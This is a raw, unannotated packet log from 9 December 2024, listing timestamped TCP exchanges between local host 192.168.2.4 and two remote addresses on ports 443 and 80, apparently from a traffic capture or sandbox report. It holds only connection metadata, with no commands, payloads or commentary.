Dec 9, 2024 20:27:27.594402075 CET	443	49745	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.594412088 CET	49745	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.594444990 CET	49745	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.594465017 CET	49745	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.628660917 CET	443	49747	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.628796101 CET	443	49747	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.628930092 CET	49747	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.629861116 CET	49747	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.629880905 CET	443	49747	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.638118982 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.638164997 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.638195992 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.638226986 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.638277054 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.638298035 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.638324022 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.655096054 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.655147076 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.655200005 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.655210972 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.655261993 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.660825014 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.705183029 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.709330082 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.751065969 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.751086950 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.762247086 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.762770891 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.762785912 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.812406063 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.824323893 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.830769062 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.830951929 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.830965042 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.831604958 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:27.844604969 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.844656944 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.844672918 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.858422995 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.858747005 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.858760118 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.871483088 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.874310970 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.874325991 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.885691881 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.885777950 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.885787964 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.898724079 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.898813963 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.898823023 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.912293911 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.912380934 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.912390947 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.925860882 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.925939083 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.925954103 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.939599037 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.939634085 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.939663887 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.939676046 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:27.940129995 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:27.951051950 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:27.952873945 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.001317024 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.001336098 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.010242939 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.010333061 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.010344028 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.017085075 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.017153978 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.017163038 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.030910015 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.031013012 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.031022072 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.044064045 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.044166088 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.044173956 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.057908058 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.061553955 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.061562061 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.070375919 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.073618889 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.073643923 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.083149910 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.083229065 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.083245039 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.094474077 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.094536066 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.094548941 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.104016066 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.104072094 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.104080915 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.114167929 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.114268064 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.114280939 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.123800993 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.123882055 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.123897076 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.134342909 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.134423018 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.134433985 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.145001888 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.145064116 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.145072937 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.149902105 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.149956942 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.149970055 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.162379026 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.162461996 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.162472963 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.169197083 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.169255972 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.169264078 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.176309109 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.176376104 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.176384926 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.183959007 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.184010029 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.184020042 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.192440033 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.192523003 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.192534924 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.202691078 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.202752113 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.202759981 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.207937956 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.208133936 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.208141088 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.216253042 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.216308117 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.216320038 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.222840071 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.222901106 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.222909927 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.228214025 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.228274107 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.228281975 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.234108925 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.234180927 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.234188080 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.240040064 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.240215063 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.240228891 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.245822906 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.245878935 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.245886087 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.251698971 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.251751900 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.251765013 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.262569904 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.262628078 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.262640953 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.274832010 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.274898052 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.274916887 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.276567936 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.276624918 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.276634932 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.285867929 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.285923958 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.285933971 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.285945892 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.286010981 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.286458969 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.286626101 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.286633015 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.286659002 CET	443	49746	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:28.286721945 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.286739111 CET	49746	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:28.765755892 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:28.766616106 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.276665926 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.396274090 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.718169928 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.718193054 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.718204021 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.718235970 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.718281984 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.718291998 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.718333006 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.718415976 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.718429089 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.718456984 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.718486071 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.718560934 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.718601942 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.726813078 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.726866007 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.727015972 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.727061033 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.733165979 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.733236074 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.733334064 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.733376980 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.741560936 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.741708994 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.741727114 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.741790056 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.853015900 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.853087902 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.853133917 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.853179932 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.910200119 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.910268068 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.910276890 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.910326004 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.914100885 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.914115906 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.914156914 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.914179087 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.920032978 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.920104027 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.920312881 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.920367002 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.927750111 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.927817106 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.927840948 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.927884102 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.935466051 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.935528040 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.935566902 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.935609102 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.943171024 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.943202972 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.943229914 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.943248034 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.951397896 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.951446056 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.951462984 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.951504946 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.958559990 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.958626032 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.958663940 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.958715916 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.966314077 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.966379881 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.966417074 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.966459990 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.973958015 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.974035025 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.974103928 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.974145889 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.981576920 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.981641054 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.981643915 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.981684923 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.986578941 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.986653090 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:29.986666918 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:29.986731052 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.045178890 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.045203924 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.045249939 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.045289040 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.048974991 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.049029112 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.102274895 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.102291107 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.102345943 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.105814934 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.105866909 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.105875015 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.105937004 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.112834930 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.112895012 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.112921000 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.112940073 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.119927883 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.120018959 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.120054960 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.120101929 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.126971006 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.127055883 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.127131939 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.127302885 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.130779028 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.130847931 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.130897045 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.130955935 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.134665012 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.134728909 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.134757996 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.134787083 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.138612986 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.138806105 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.139328003 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.142450094 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.142558098 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.142565012 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.142604113 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.146356106 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.146411896 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.146442890 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.146642923 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.150268078 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.150326967 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.150348902 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.150391102 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.154133081 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.154186964 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.154222012 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.154333115 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.158026934 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.158081055 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.158099890 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.158181906 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.161931038 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.161984921 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.162024021 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.162074089 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.165802002 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.165854931 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.166034937 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.166085005 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.169877052 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.169897079 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.169930935 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.169953108 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.173623085 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.173682928 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.173691034 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.173805952 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.177529097 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.177588940 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.177658081 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.177711964 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.181466103 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.181519032 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.181576014 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.181641102 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.185301065 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.185369968 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.185374975 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.185455084 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.189218998 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.189281940 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.189315081 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.189359903 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:30.193134069 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:30.193192005 CET	49740	80	192.168.2.4	185.215.113.206
